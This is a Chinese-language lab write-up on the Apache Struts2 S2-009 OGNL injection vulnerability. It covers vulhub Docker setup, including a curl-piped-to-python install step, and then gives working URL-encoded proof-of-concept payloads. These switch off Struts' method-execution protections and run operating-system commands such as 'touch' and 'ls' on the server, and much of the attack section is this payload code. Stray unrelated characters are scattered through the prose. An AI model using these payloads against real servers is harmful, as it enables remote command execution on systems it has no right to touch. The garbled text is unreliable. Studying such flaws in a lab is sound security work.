struts-s2-009
此文僅供大家交流學(xué)習(xí),嚴(yán)禁非法使用
一陨晶、參考網(wǎng)址:
https://github.com/phith0n/vulhub/tree/master/struts2/s2-009
https://www.waitalone.cn/struts2-command-exp.html
二、 影響版本:
Struts 2.0.0 - Struts 2.3.1.1
三帝璧、 漏洞介紹:
OGNL提供了廣泛的表達(dá)式評(píng)估功能等功能先誉。該漏洞允許惡意用戶繞過(guò)ParametersInterceptor內(nèi)置的所有保護(hù)(正則表達(dá)式,拒絕方法調(diào)用)聋溜,從而能夠?qū)⑷魏伪┞兜淖址兞恐械膼阂獗磉_(dá)式注入進(jìn)行進(jìn)一步評(píng)估谆膳。
在S2-003和S2-005中已經(jīng)解決了類似的行為,但事實(shí)證明撮躁,基于列入可接受的參數(shù)名稱的結(jié)果修復(fù)僅部分地關(guān)閉了該漏洞漱病。
ParametersInterceptor中的正則表達(dá)式將top ['foo'](0)作為有效的表達(dá)式匹配买雾,OGNL將其作為(top ['foo'])(0)處理,并將“foo”操作參數(shù)的值作為OGNL表達(dá)式求值杨帽。這使得惡意用戶將任意的OGNL語(yǔ)句放入由操作公開的任何String變量中漓穿,并將其評(píng)估為OGNL表達(dá)式,并且由于OGNL語(yǔ)句在HTTP參數(shù)中注盈,攻擊者可以使用黑名單字符(例如#)禁用方法執(zhí)行并執(zhí)行任意方法晃危,繞過(guò)ParametersInterceptor和OGNL庫(kù)保護(hù)。
四老客、 環(huán)境搭建:(ubuntu)
- 安裝pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
- 安裝docker
apt-get update && apt-get install docker.io
- 啟動(dòng)docker服務(wù)
service docker start
- 安裝compose
pip install docker-compose
注意要先ssh連接僚饭,將公鑰添加到github上,具體參照網(wǎng)上教程
- 拉取項(xiàng)目
git clone git@github.com:phith0n/vulhub.git
cd vulhub
- 進(jìn)入某一個(gè)漏洞/環(huán)境的目錄
cd nginx_php5_mysql
- 自動(dòng)化編譯環(huán)境
docker-compose build
- 啟動(dòng)整個(gè)環(huán)境
docker-compose up -d
五胧砰、 POC:
%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
(可輸出結(jié)果)
(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
六鳍鸵、 測(cè)試網(wǎng)址:
http://虛擬機(jī)ip:8080/ajax/example5.action
修改后
http://虛擬機(jī)ip:8080/ajax/example5.action ?age=12313&name=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
七、執(zhí)行結(jié)果
修改后:
http://ip:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
執(zhí)行結(jié)果尉间,出現(xiàn)下載文件偿乖,記事本打開
八、存在問(wèn)題并修改:
Windows 的showcase測(cè)試windows命令一直執(zhí)行不成功哲嘲,希望大家指點(diǎn)指點(diǎn)
時(shí)隔兩個(gè)星期贪薪,
時(shí)隔十天終于將頭上的待續(xù)去掉了,自己寫了掃描器眠副,找到了個(gè)該漏洞的利用環(huán)境
http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action?skillName=1
poc不變(簡(jiǎn)單修改輸出多行)
輸出結(jié)果:
九画切、 至此,該漏洞基本利用完畢
本人還是一個(gè)未畢業(yè)的小萌新囱怕,希望大家多多幫助槽唾,有問(wèn)題請(qǐng)發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會(huì)盡量去幫助大家
堅(jiān)決做一名白帽子